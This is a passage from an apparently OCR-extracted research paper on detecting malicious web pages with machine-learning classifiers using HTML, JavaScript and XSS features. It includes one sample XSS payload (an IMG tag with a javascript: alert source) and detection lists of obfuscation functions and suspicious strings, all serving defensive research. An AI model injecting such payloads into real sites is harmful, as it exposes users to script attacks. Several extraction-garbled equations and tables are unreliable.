tions. Some of these features are mentioned in previ-
ous sections. The list of the features used to detect
the injection code attacks is shown in Table 3.

The suspicious malicious structures in Table 3
include existence of suspicious function including
link, number, exec, eval, escape, fromCharCode, set-
interval, settimeout, document.write, createElement,
ubound, global, alert, unscape, decodeURLComponent,
decodeURL, encodeURL, encodeURLComponent,
parseint, parsefolat and string modification func-
tions, working with the location object (including
properties and functions), working with document
properties, suspicious document.write (described in
4.2.6) and existence of strings that include ‘exe’ or
‘files’ or have a length greater than 150 characters.

Note that in JavaScript feature section (see Sec-
tion 4.2) we mainly studied the features that obfus-
cate, transform and hide the malicious tags using
JavaScript and VBScript codes in sctipt tags. Al-
though some of these features could also be catego-
rized as XSS attacks, in studying XSS attacks we aim
to investigate the suspicious codes in the body of the
tags (after ”<” and before ”>") with potential mali-
cious activities. For example, using JavaScript codes
in the source of an element is considered as potential
malicious activity:

<IMG src="javascript:alert(’XSS’);">

5 Classification Algorithms

In pattern classification tasks, choosing the algo-
rithm is a matter of importance as it determines the
accuracy of the results. The combination of the fea-
tures and the algorithm should offer good accuracy
and speed. In this paper, in order to study the pro-
posed features, we use different algorithms includ-
ing Artificial Neural Networks (multi-layer percep-
tron ANN), Naive Bayes, Support Vector Machine
(SVM), K-Nearest Neighbors (KNN), Alternating
Decision Tree (AD-Tree) Best-First Decision Tree
classifier (BFTree) and C4.5 tree algorithms.

6 Data Gathering and
Implementation

In this paper, in the feature selection, we consider
the most advanced technologies in web page design.
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In learning and testing process of the classification
algorithms, we try to gather data from the state of
the art sources. The list of the data sources used
in this paper are shown in Table 4. These data sets
contain a list of malicious websites, IP and domains
(in hp host we have only used the EXP category).

The data sets in Table 4 include an IP list and
the address of malicious websites. To access the con-
tents of these web pages, we have made a crawler
in ASP.NET environment. Using this framework we
then read the contents of the web pages and send the
contents to SQL.Server database. Since some of these
web pages were removed from the hosts, or some-
times the crawler faced 403, 408 or 500 errors, the
number of the web pages we could gather dropped
to 10350 web pages.

To read the non-malicious web pages using the
crawler, we used the most visited website list in Alexa
(alexa.com), and to make sure the pages are not mali-
cious, the Google Sage Browsing was used. We gath-
ered 7696 non malicious web pages.

7 Experimental Results

The feature extraction engines are designed in Mi-
crosoft ASP.net 4 environment, in System.net names-
pace and using HtmlAgility core parsers Agility pack
and CSS Model Text Parsers. The classification al-
gorithms are implemented by Rapid Miner software
with the predefined parameters.

In this paper, in order to detect the malicious web
pages, we use all the features proposed in previous,
which fall into two main groups: the HTML and the
JavaScript features. Then using these features and a
number of classifying algorithms we generate the ma-
licious web page detection systems. We then perform
the same simulations using the proposed set of fea-
tures which are categorized into three main groups
of HTML, JavaScript, and XSS features.

In both the simulations, the 10-fold Cross-
Validation method is used for evaluation. The ratio
of the test and training dataset is 2 and 8 fold, re-
spectively. Table 5 summarizes the exact number of
test and train data.

The performance of the algorithms is evaluated
using confusion matrix. Each column of the matrix
represents a sample of the predicted value, and each
row includes the true sample [21].

Table 6 shows the confusion matrix where the ma-
licious class is considered as positive. The aim is to
find the malicious pages; thus, the malicious class is
a positive class and the clean class is negative. In this
table, the malicious pages that are correctly detected
as malicious pages are the true positives, the non-
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Table 3. The list of XSS attack features.

Feauter

Tag

Investigated Cases

Condition

XSS attackl

XSS attack2

XSS attack3
XSS attack4

XSS attackd

XSS attack6

XSS attack?
XSS attack8
XSS attack9

XSS attackl10

img

frame, iframe, embed, video,
sound,source, input, bgsound, and
script

Object
applet
link, a, base, area
style
meta
table, td

frame, iframe, embed, applet, link, a,
embed, base, Object, img, video,
Button, sound, input, form, source,
body

style
meta

frame, iframe, applet, embed, video,

sound, input, bgsound, applet, link, a,

style, meta, source, table, base, body,
img
img
Object
applet
link, a, base, area

frame, iframe, embed, video, sound,
source, input, bgsound, Script

value of src, lowsrc, dynsrc and style
attributes

value of src and style attributes

value of data and style attributes
value of code and style attributes
value of href and style attributes
inner HTML of tag
value of content attribute

value background and style attributes

value of events (complete list of event
attributes and style attributes

inner HTML of tag

value of Content attribute

in body of the tag (after “<” and
before “>”)

value of src, lowsrc, dynsrc and style
attributes

value of data attribute
value of code attribute

value of href attribute

value of src and style attributes

existence of “javascript:”,
“javascript:”, “<script”,
“vbscript:”, “livescript:”, “exe”, length
of value greater than 150 characters

suspicious malicious structures

existence of “@Qimport”

suspicious malicious structures

using “#” as fragment

suspicious malicious structures

Table 4. The list of data sets.

No Reference

1 MDL (Maleware Domain List)

2 DNS-BH (Black Hole DNS Sinkhole)
3 hpHosts file and domains

4 ZeuS domain block list and URLs
5 CLEAN-MX real time database

6 MalcOde blacklist and URLs

Table 5. Class distribution for training and testing datasets

used in experiments.

Total Training Testing
examples examples
Malicious 10350 7245 3105
Clean 7696 5387 2309

Table 6. The confusion matrix for malicious class

Predicted as

Predicted as ”clean”

”Malicious”

malicious pages that are correctly recognized as non-
malicious are the true negatives, the non-malicious
web pages that are incorrectly detected as malicious
pages are the false positives and the malicious pages
that are incorrectly recognized as non-malicious are
the false negatives. These four criteria are used in the
confusion matrix to evaluate the performance of the
classifiers. Next, the proposed features are evaluated
on different algorithms and the results are provided.

Clean page  True Negative(TN) False Positive(FP)

Malicious page False Negative(FN)  True Positive(TP)

7.1 The Evaluation Criteria: Precision,
Recall and F1-Measure

In this paper we use F1, Precision, Recall and Score
criteria to evaluate the proposed features. Equa-
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Figure 5. A comparison between the precision of different
algorithms.

tions 1, 2 and 3 show how these criteria are evalu-
ated (considering the malicious pages as the positive
class) [21].

TP
PT@CiSiOTL = m (1)
TP
= ——— 2
Reca TP 1PN (2)
Fl - Measure — 2 % Recall * Precision ()

Recall + Precision

The precision criterion shows the percentage of the
web pages that are correctly labeled as malicious.
Using the precision measure, Figure 5 compares the
algorithms when all the features (the proposed and
the old features) and when only the old features are
used. The graphs in this figure indicate that the best
precision is promised by C 5.5-tree algorithm when
the proposed features are added. Comparing the re-
sults when the proposed features are added, versus
when only the old features are used suggests that us-
ing the proposed features the precision is improved
for all the algorithms except ANN algorithm.

The precision criteria are not enough to truly mea-
sure the performance of an algorithm. Think for ex-
ample of the scenario when the precision of an al-
gorithm is 100% , which means that all the pages
that are labeled as malicious are truly malicious. This
does not necessarily mean that the algorithm is fully
accurate, as there may be some malicious pages that
are labeled as clean. To overcome this, another cri-
terion called Recall is presented. The recall criteria,
which is also called the true positive rate, is a cri-
terion that measures the positive true answers. This
measure shows the percentage of malicious web pages
that are truly labeled as malicious. Using the recall
measure, Figure 6 compares the algorithms when all
the features (the proposed and the old features) and
when only the old features are used. The data in
this figure indicate that the best algorithm, from the
point of view of recall measure, is the BF-Tree which
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has reached 98.24% performance.
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Figure 6. A comparison between the recall of different algo-
rithms.

Data in this figure indicate that the best algo-
rithm, from the point of view of recall measure, is
the BF-Tree which has reached 98.24% performance.
The recall measure also has some weaknesses. Con-
sider a scenario when the recall is 100% (all the ma-
licious web pages are truly detected), but FP is a
large number (the number of clean pages that are
detected as malicious is large). In this case, the re-
call measure evaluates the algorithm as a good algo-
rithm, while from the point of view of precision mea-
sure, the performance of the algorithm is not good.
Since none of the precision and recall measures eval-
uate the performance of the algorithms accurately,
another measure called the F1l-measure is proposed
which combines the two.

Figure 7 compares the Fl-measure of the algo-
rithms when all the features (the proposed and the
old features) and when only the old features are used.
The best algorithm, from the point of view of F1-
measure, is the C 4.5-Tree which has reached 96.75%
performance.

100.00%
90.00%
80.00%
70.00%
60.00%
50.00%
40.00%
30.00%
20.00%
10.00%

0.00%

F1 Measure

Naive AD | cas Bf
ANN | gaves | SYM | KNN 1 e | Tree | Tree

79.93%
86.87%

80.59%
87.87%

83.11%
79.98%

79.93%
81.77%

89.56%
93.26%

92.90%
96.75%

93.55%
95.97%

Previous features
m All features

Figure 7. A comparison between the Fl-measure of different
algorithms.

7.2 Accuracy and the Matthews
Correlation Coefficient

Two important criteria for measuring the perfor-
mance of classification algorithms are the Matthews
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Correlation Coefficient (MCC) and accuracy [21]
(see Equations 4 and 5).

) TP + TN W
ccuracy =
YT T PYTN+FP+FN

TP+« TN — FP « FN
(TP + FP) (TP + FN) * (TN + FP) « (TN + FN)
(5)

Note that the criteria proposed in the previous sec-
tion (see Section 7.1) evaluate the performance of the
algorithms from the point of view of the malicious
class. The recall and precision criteria based on both
classes are as follows,

MCC =

: (6)
; (7)

where P, is the precision for both classes, R; is
the recall for both classes, N, is the number of pages
that are correctly classified, N, is the number of ac-
tual pages and N, is the number of predicted pages.
Another criteria for measuring the performance of
the algorithms is accuracy which considers both the
positive and the negative answers. For example, as
shown in Table 7, the ANN algorithm performs well
in detecting the malicious pages (94.59%), but when
it comes to clean pages, the performance of the al-
gorithm is not very good (52.10%). Thus, accuracy
can provide a better criteria for measuring the per-
formance of the algorithm.

Table 7. The confusion matrix for ANN algorithm when all
features are used.

predicted as  predicted as

“Clean” “malicious” Recall

Clean page 1203 1106 52.10%

Malicious page 168 2937 94.59%
Precision 87.75% 72.64%

Figure 8 shows a comparison between the accuracy
of different algorithms when the proposed features
are used. The data indicate that the best perfor-
mance is reached when the C 4.5-Tree algorithm and
all the features are used. The accuracy of the algo-
rithm is 97.61% which shows a 5.72% improvement
compared to when the proposed features are not
used. In all the algorithms except ANN, using the
proposed features improves the performance. Fig-
ure 9 shows a comparison between the accuracy of
different algorithms when different groups of features
are used. In this paper we consider three different
groups of features: the HTML, HTML~+JavaScript
and HTML+JavaScript +XSS attacks. Each group
includes all the features. For example the HTML fea-
tures include all the old and the proposed features.

As shown in Figure 9, adding JavaScript features to
the HTML features improves the performance of all
the algorithms except SVM and ANN. The data in
Figure 9 indicate that adding the XSS attack fea-
tures to all algorithms except ANN and Naive Bayes
increases the accuracy of the algorithms.
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|-Allfeature5 7B.47% |89.31% | 79.43% [B85.00% |92.23% | 97.61%: | 96.53%

Figure 8. A comparison between the accuracy of different
algorithms.
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Figure 9. The accuracy of different algorithms when different
sets of features are used.

In order to study the effect of features on the per-
formance of different algorithms, Figure 10 shows
the results when each group of features is added. In
this figure, the results when the old and the pro-
posed HTML and JavaScript features are used are
reported, so the effect of each feature group is pre-
sented. Adding the proposed HTML features has im-
proved the accuracy of all the algorithms except AD-
Tree algorithm. Using the proposed JavaScript fea-
tures also improves the accuracy of all the algorithms
except ANN and SVM algorithms. The data in Fig-
ure 8, 9 and Figure 10 suggest that in terms of ac-
curacy, SVM and ANN have shown the weakest per-
formance among all the classification algorithms. In
SVM algorithm, we believe that this is because as the
number of dimensions grows, finding a hyper plane
that separates the classes becomes harder. From the
point of view of accuracy, KNN and Naive Bayes al-
gorithms have shown average performance. Among
all the algorithms, the best accuracy is offered by
BF-Tree, AD-Tree and C 4.5 Tree. Accuracy does
not provide a good measure of the performance of
an algorithm when the data in two classes are un-
balanced. Another weakness of the criteria is that as
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seen in Equation 4, in the nominator there are two
true values for each class. Thus if the recognition for
one class is high and for the other class is low, ac-
curacy is still high and the bad recognition of one of
the classes is hidden.

100.00%

95.00%
90.00% .

85.00% / e —
80.00% A?——T&\’:
75.00% =

Accuracy

70.00%
FCl=previous FC2=FCl+proposed | FC3=FC2+previous | FCA=FC3+proposed FC5=FCA4XSS
HTWL features HTML features JavaScript features | JavaScript features attack features
Naive Bayes ——SVUM == kNN —#—C45Tree ADTree
8f-Tree ——ANN 8.11% 81.93% 85.31%

Figure 10. The accuracy of different algorithms when different
sets of features are used.

Another criteria, called MCC is used for binary
classifiers, and is the best balanced criterion for un-
balanced data [21]. MCC returns a real number be-
tween [-1,1], where 1 means a perfect recognition, 0
means a random recognition and -1 means that all
the data are recognized incorrectly. Figure 11 shows
MCC for different algorithms when only the old and
when all the features are used. The data suggest that
the performance of all the algorithms except ANN
has improved when the new features are used.
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Figure 11. The MCC of different algorithms.

8 Ranking the Features

8.1 Entropy Based Criteria

The decision tree classifiers use a statistical value,
called Information Gain, that is found based on En-
tropy in the data, and finds the features that are
more discriminative. Information Gain of a collection
of data S, is defined as

G(S,A) = E(S) —

P
vEvalues(A) |S‘

where values(A) is the set of all the possible values
for feature A, S, is a subset of S for which the feature

1SeCure
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A equals v (i.e., S, = {s € S|A(s) = v}) and E(S)
is the entropy of the data set S and is found as,

E(S) = - Zpi log, (pi), (9)
i=1

where n is the number of data.

In a decision tree, the more discriminative fea-
tures appear, at the lower depth of the tree and have
greater information gain. The top twenty features, in
terms of information gain, are shown in Table 8.

Table 8. The top 20 features in terms of information gain.

Rank Feature Category
1 Average line lenght JavaScript
9 Number of suspi(fious JavaSeript

document.wrtie
3 Number of escape function JavaScript
4 Number of fromCharCode function JavaScript
5 XSSAttack2 XSS Attack
6 Number of suspicious framset tag HTML
7 Shellcode presence probability JavaScript
8 Number of frame tag HTML
9 Number of strin.g's containing name JavaScript
of malicious tags
10 XSSAttackl XSS Attack
11  Average length of strings in script JavaScript
12 Percentage of scripting content in HTML
the page
13 Maximun lenght of script JavaScript
14 Number of string direct assignments JavaScript
15 Number of encodeURI function JavaScript
16 XSSAttack9 XSS Attack
17 Number of location.href JavaScript

Number of hidden
18 elements(proposed method) HTML

19 Number of suspicious noframes HTML

20 XSSAttackl0 XSS Attack

Another way of ranking the features is to use Gain
Ratio, which is sensitive to how broadly and uni-
formly the attribute splits the data and is found
as [22],

G(S,A)

G, (S, A) = —"—, 10

(5.4 = F5 (10)

where L(S, A) is the split information and is defined
as,

~ |Si|, |Si]
L(S7 A) = - 1Og Tare (11)
; [S] 72 18]
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where S; through S, are the ¢ subsets of data re-
sulting from partitioning S by the c-valued feature
A. For example a feature like date has a high infor-
mation gain as it classifies the train data with high
performance, but for the test data the performance
is not good. To overcome this, the gain ratio is pro-
posed which also takes into account the broadness
and uniformity of the data. The top twenty features
in terms of gain ratio are shown in Table 9.

Table 9. The top 20 features in terms of gain ratio.

Rank Feature Category
1 Number of frame tag HTML
2 Number of fromCharCode function JavaScript
3 Number of suspic.ious JavaScript
document.wrtie
4 Number of escape function JavaScript
5 Average line lenght JavaScript
6 Number of suspicious framset tag HTML
7 Maximun lenght of script JavaScript
8 XSSAttack2 XSS Attack
9 Percentage of scripting content in HTML
the page
10 Number of suspicious noframes tag HTML
11 Number of encodeURI function JavaScript
12 Number of char in page HTML
13 Shellcode presence probability JavaScript
14 XSSAttack9 XSS Attack
15 Number of str.in.gs contain name of JavaScript
malicious tags
16 XSSAttackl XSS Attack
17 Number of encoded URLs JavaScript
18  Average length of strings in script JavaScript
19 Number of iframe tag HTML
20 Number of document.cookie JavaScript

8.2 Correlation Coefficient Square Based
Criteria

Correlation coefficient is a good measure for finding
the dependency of two features and is found as,

iz (s —4) (b - B)

VX (@ - AP, (- B)
(12)

where n is the number of data, a; and b; are the cor-
responding features of i-th data and A and B are
the mean of the features. Finding the correlation be-

tween a feature and a class could show how discrimi-

Corr(A,B) =

native the feature is. Table 10, shows the top twenty
features. The ranking is performed based on the Cor-
relation Coefficient Square between the features and
the class labels.

Table 10. Features with the greatest correlation coefficient
square with class labels.

Rank Feature Category
1 Number of suspec.tlous JavaScript
document.wrtie
9 percentage of scripting content in HTML
the page
3 Number of suspicious framset tag HTML
4 Number of frame tag HTML
5 Maximun lenght of script JavaScript
6 Number of escape function JavaScript
7 Number of encodeURI function JavaScript
s Number of str.mvgs contain name of JavaScript
malicious tags
9  Number of fromCharCode function JavaScript

Number of hidden
10 elements(proposed method) HTML

11 Max antyop of script string JavaScript
12 Asyemtric script tag HTML

13 Precentag of white space JavaScript
14 Average line lenght JavaScript
15 Number of a tag HTML

16 Number of location.href JavaScript
17 Number of unescape function JavaScript
18 Number of Jgery CSS function JavaScript
19 XSSAttack9 XSS Attack
20 Number of suspicious noframe tag HTML

8.2.1 TOPSIS Based Ranking Methods

To find the final ranking of the features, in this pa-
per we use the TOPSIS method [23]. Table 11 shows
the TOPSIS rank of each of the features. To rank the
features we have used the three criteria that are pre-
sented in Section 8.1 and Section 8.2. As presented
in Table 11, nine of the proposed features are among
the best discriminative features.

Table 12 shows the final ranking of the proposed
features that did not appear in top 20 features based
on topsis method. The number of all the features is
109.
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Table 11. The top 20 features in terms of TOPSIS.

Table 12. The rank of the proposed features that did not

Rank feature category
appear among top 20 features.

1 Average line lenght JavaScript

Rank Feature Category
2 Number of fromCharCode function JavaScript

Number of Jgery HTML/CSS

3 XSSAttack2 XSS Attack 26 function JavaScript
4 Number of escape function JavaScript 31 XSSAttackl0 XSS Attack
5 Number of suspec.tious JavaScript 32 Number of jQueryeffect function JavaScript
document.wrtie
. . 38 XSSAttackb XSS Attack
6 Shellcode presence probability JavaScript
39 XSSAttack6 XSS Attack
7 Number of frame tag HTML
. 41 Number of encoded HTML HTML
s Number suspicious framset HTML
tag 43  Number of jQueryevents function JavaScript
9 XSSAttackl XSS Attack 45 Number of document property JavaScript
10 Number of str}n.gs contain name of JavaSeript A7 Number of jQufarytraversing JavaSeript
malicious tags function
11 Maximun lenght of script JavaScript 49 Number of' working with the JavaScript
. . location property
12 percentage of scripting content in HTML
the page 53 Number of jQuerymisc function JavaScript
13 Average length of strings in script JavaScript 55 Number of parseint function JavaScript
14 Number of e.ncodeURI JavaSeript 58 HTMLS5 tags HTML
function
70 Number of VBScript conversion JavaScrint
15 Number of location.href function JavaScript function avascrip
16 Number of string direct assignments  JavaScript 72 HTTP request type JavaScript
17 Number of suspicious HTML 74 Number of VBScript string function  JavaScript
noframes tag
75 Number of IP in elemens src HTML
18 XSSAttack9 XSS Attack
77 Number of getcomputedstyle JavaScrint
19 Number of encoded URLs HTML function avascrip
2 Number of hidden elements HTML 78 XSSAttack? XSS Attack
(proposed method)
79 Number of HTML5 events HTML
8.3 ROC Graph 85 XSSAttack4 XSS Attack
The ROC graph is used to evaluate the performance 86 Number of decodeURL function JavaScript
of an algorithm, where the horizontal axis is the false 86 XSSAttack3 XSS Attack
positive rate (FPR) and the vertical axis is the true o7 XSSAttacks XSS Attack

positive rate (TRP). These two rates are found as,
Number of decodeURIComponent

Fp 99 function JavaScript
FPR= ——— (13)
TN + FP Number of encodeURIComponent .
TP 101 function JavaScript
TPR= — . (14)
TP+ FN 102 Number of VBscript array function  JavaScript

103 Number of parsefolat other function  JavaScript

An ROC graph depicts the relative tradeoff be- 104
tween benefits (true positives) and costs (false posi-
tives). In this graph, the closer a curve to the upper

Number of VBscript function JavaScript

105 Number of VBscript math function  JavaScript

left corner of the graph, the better the performance 106  Number of E/Bszript date/time JavaScript
of the algorithm. unction
. . . Number of VBscript format .
Figure 12 shows ROC for all the classification al- 107 b functionlp JavaScript

gorithms when all the features are used. As shown
in this figure, C4.5 Tree, BF-Tree and AD-Tree of-
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Figure 12. The ROC graph for different algorithms.
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Figure 13. The ROC graph for C4.5 tree algorithm for different sets of features.
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Figure 14. The ROC graph for C 4.5 and Tree algorithms.

— previous features — all features

1.08
1.00
0.95
0.90
0.85
0.80
0.75
0.70
0.65
0.60
0.55
0.50
0.45
0.40
0.35
0.30
0.25
0.20
0.18
0.10
0.05
0.00
000 005 010 015 020 025 030 035 040 045 050 055 060 065 070 075 080 085 090 085 100 1.05

Figure 15. The ROC graph for BF-Tree algorithm.




fer the best performance. Figure 13 shows ROC for
different sets of features for C4.5 algorithm. Where
FC1 stands for the old HTML, FC2 stands for FC1
plus the proposed HTML, FC3 stands for FC2 plus
the old javaScript, FC4 stands for FC3 plus the pro-
posed javascript and FC5 stands for FC4 plus the
proposed XSS attack features. Figure 14 and 15 show
ROC when the old and all (old+ proposed) the fea-
tures are used in C 4.5 Tree and BF Tree. The graphs
show that adding the proposed features improves the
performance of the algorithms.

9 Conclusion

With the growing use of web sites, most users
routinely use web browsers. Web pages are fertile
ground for attackers to infect users. Some web pages
infected with malicious content your trying to hide
from the search engines. In addition using search en-
gines to spread malicious code, hide contamination
of search engine visibility. In this paper we con-
sider three different groups of features: the HTML,
HTML+JavaScript and HTML+JavaScript +XSS
attacks. Each group includes all the features. For
example, the HTML features include all the old and
the proposed features. Adding JavaScript features
to the HTML features improves the performance of
all the algorithms except SVM and ANN. The result
indicates that adding the XSS attack features to all
algorithms except ANN and Naive Bayes increases
the accuracy of the algorithms. In this paper, in
order to find better features, we tried to consider
the new web pages technologies developed in recent
years which include HTML5, and jQuery. We also
tried to use a different filter for detecting XSS at-
tacks. Experimental results suggest that for all the
algorithms the best F1-measure, accuracy, and MCC
are achieved when the proposed features are used.
The experiments also suggest that among all the
algorithms, C 4.5-Tree algorithm has the best re-
sults in detecting and classifying malicious and well-
behaved pages. To study the discriminative features
of the malicious web pages, we used different criteria
and ranked the features using the topic method.

References

[1] Mahdieh Zabihi, Majid Vafaei Jahan, and Javad
Hamidzadeh. A density based clustering ap-
proach for web robot detection. In Computer
and Knowledge Engineering (ICCKE), 2014
4th International eConference on, pages 23-28.
IEEE, 2014.

[2] Nedim Srndi¢ and Pavel Laskov. Hidost: a
static machine-learning-based detector of mali-
cious files. volume 2016, page 22, Sep 2016.

[3] Hyunsang Choi, Bin B. Zhu, and Heejo Lee. De-

1S¢0ured)

[10]

[13]

Analyzing New Features of Infected Web Content in Detection of Malicious Web Pages — Hajian Nezhad et al.

tecting malicious web links and identifying their
attack types. In Proceedings of the 2Nd USENIX
Conference on Web Application Development,
WebApps’l1, pages 11-11, Berkeley, CA, USA,
2011. USENIX Association.

H. Divandari, B. Pechaz, and M. V. Jahan.
Malware detection using markov blanket based
on opcode sequences. In 2015 International
Congress on Technology, Communication and
Knowledge (ICTCK), pages 564-569, Nov 2015.
Suyeon Yoo, Sehun Kim, Anil Choudhary,
OP Roy, and T Tuithung. Two-phase malicious
web page detection scheme using misuse and
anomaly detection. volume 2, pages 1-9, 2014.
Birhanu Eshete, Adolfo Villafiorita, and Kom-
minist Weldemariam. Binspect: Holistic anal-
ysis and detection of malicious web pages. In
Angelos D. Keromytis and Roberto Di Pietro,
editors, Security and Privacy in Communication
Networks: 8th International ICST Conference,
SecureComm 2012, Padua, Italy, September 3-5,
2012. Revised Selected Papers, pages 149-166,
Berlin, Heidelberg, 2013. Springer Berlin Hei-
delberg.

Kyle Soska and Nicolas Christin. Automatically
detecting vulnerable websites before they turn
malicious.

K Pragadeesh Kumar, N Jaisankar, and
N Mythili. An efficient technique for detection
of suspicious malicious web site. 2011.

B. V. Ram Naresh Yadav, B. Satyanarayana,
and D. Vasumathi. A Vector Space Model
Approach for Web Attack Classification Using
Machine Learning Technique, pages 363-373.
Springer India, New Delhi, 2016.

Abubakr Sirageldin, Baharum B. Baharudin,
and Low Tang Jung. Malicious Web Page Detec-
tion: A Machine Learning Approach, pages 217—
224. Springer Berlin Heidelberg, Berlin, Heidel-
berg, 2014.

Hesham Mekky, Ruben Torres, Zhi-Li Zhang,
Sabyasachi Saha, and Antonio Nucci. Detecting
malicious http redirections using trees of user
browsing activity. In INFOCOM, 2014 Proceed-
ings IEEE, pages 1159-1167. IEEE, 2014.
Marco Cova, Christopher Kruegel, and Gio-
vanni Vigna. Detection and analysis of drive-by-
download attacks and malicious javascript code.
In Proceedings of the 19th international confer-
ence on World wide web, pages 281-290. ACM,
2010.

Davide Canali, Marco Cova, Giovanni Vigna,
and Christopher Kruegel. Prophiler: a fast fil-
ter for the large-scale detection of malicious web
pages. In Proceedings of the 20th international
conference on World wide web, pages 197-206.




[16]

[17]

[18]

[19]

[20]

[22]

23]

July 2017, Volume 9, Number 2 (pp. 161-181)

ACM, 2011.

Justin Ma, Lawrence K Saul, Stefan Savage, and
Geoffrey M Voelker. Learning to detect mali-
cious urls. ACM Transactions on Intelligent Sys-
tems and Technology (TIST), 2(3):30, 2011.
Kartick Subramanian, Ramasamy Savitha, and
Sundaram Suresh. A metacognitive complex-
valued interval type-2 fuzzy inference system.
IEEE Transactions on Neural Networks and
Learning Systems, 25(9):1659-1672, 2014.
Andreas Dewald, Thorsten Holz, and Felix C
Freiling. Adsandbox: Sandboxing javascript to
fight malicious websites. In Proceedings of the
2010 ACM Symposium on Applied Computing,
pages 1859-1864. ACM, 2010.

Hassan B Kazemian and Shafi Ahmed. Com-
parisons of machine learning techniques for de-
tecting malicious webpages. Expert Systems with
Applications, 42(3):1166-1177, 2015.

Majid Vafaei Jahan and Mohammad-R
Akbarzadeh-Totonchi. From local search to
global conclusions: migrating spin glass-based
distributed portfolio selection. IEEFE Transac-
tions on Evolutionary Computation, 14(4):591—
601, 2010.

Jeremiah Grossman. Whitehat security web-
site statistics report. whitehat security. Summer
2012.

Suman Saha. Consideration points de-
tecting cross-site scripting.  arXiv preprint
arXiv:0908.4188, 2009.

DMW Powers. Evaluation: From precision,
recall and f-measure to roc., informedness,
markedness & correlation. Journal of Machine
Learning Technologies, 2(1):37-63, 2011.

J. G. Carbonel T. M. Mitchell, J. R. Anderson
and R. S. Michalski. Machine learning: An ar-
tificial intelligence approach. 1983.
Gwo-Hshiung Tzeng and Jih-Jeng Huang. Mul-
tiple attribute decision making: methods and ap-
plications. CRC press, 2011.

Javad Hajian Nezhad received
the M.S. degree from the Imam Reza
University of Mashhad, 2012. He
is currently a researcher and senior
web developer. He started his pro-
fessional career in design and devel-
opment of web pages since 2008, and
has experienced the design of web-based systems
in several companies. His research interests include,
web technologies, designing and implementing web
services, machine learning and analyzing malicious
web codes.

Majid Vafaei Jahan is an asso-
ciate professor at Islamic Azad Uni-
versity Mashhad Branch (IAUM).
He received B.S. degree from Fer-
dowsi University of Mashhad, Mash-
had, Iran, in 1999, and the M.S. de-
gree from Sharif University of Tech-
nology, Tehran, Iran, in 2001. He received his Ph.D.
degree from the department of computer engineer-
ing, Islamic Azad University, Science and Research
Branch, Tehran, Iran, in 2009. He is already with Si-
mon Fraser University as visiting scholar professor.
His research interests include systems modeling and
simulation, soft computing, evolutionary computa-
tion, and software design and implementation. He re-
ceived the outstanding graduate student award from
Ferdowsi University of Mashhad in 1999 and top re-
searcher award in engineering field in 2012 by Islamic
Azad University.

—— Mohammad-H. Tayarani-N re-
ceived the Ph.D. degree in com-
= puter science from University of
Southampton, Southampton, U.K.
in 2013. He was involved in a re-
search position at the University of
Birmingham. He is currently a re-
searcher at the University of Glasgow, Glasgow, U.K.
His main research interests include evolutionary al-
gorithms, machine learning, and image processing.

Zohre Sadrnezhad received M.S.
degree from Islamic Azad University
of Mashhad, Mashhad, Iran, in 2015.
His research interests machine learn-
ing and Data Mining. She is already
with knowledge and engineering lab-
oratory as technical assistant of Dr.

Vafaei Jahan.

ISeﬂure@

181




	1 Introduction
	2 Related Work
	3 The Proposed Method
	4 Feature Selection
	4.1 HTML Features
	4.2 JavaScript Features
	4.3 VBScript Features
	4.4 XSS Attack Features

	5 Classification Algorithms
	6 Data Gathering and Implementation
	7 Experimental Results
	7.1 The Evaluation Criteria: Precision, Recall and F1-Measure
	7.2 Accuracy and the Matthews Correlation Coefficient

	8 Ranking the Features
	8.1 Entropy Based Criteria
	8.2 Correlation Coefficient Square Based Criteria
	8.3 ROC Graph

	9 Conclusion

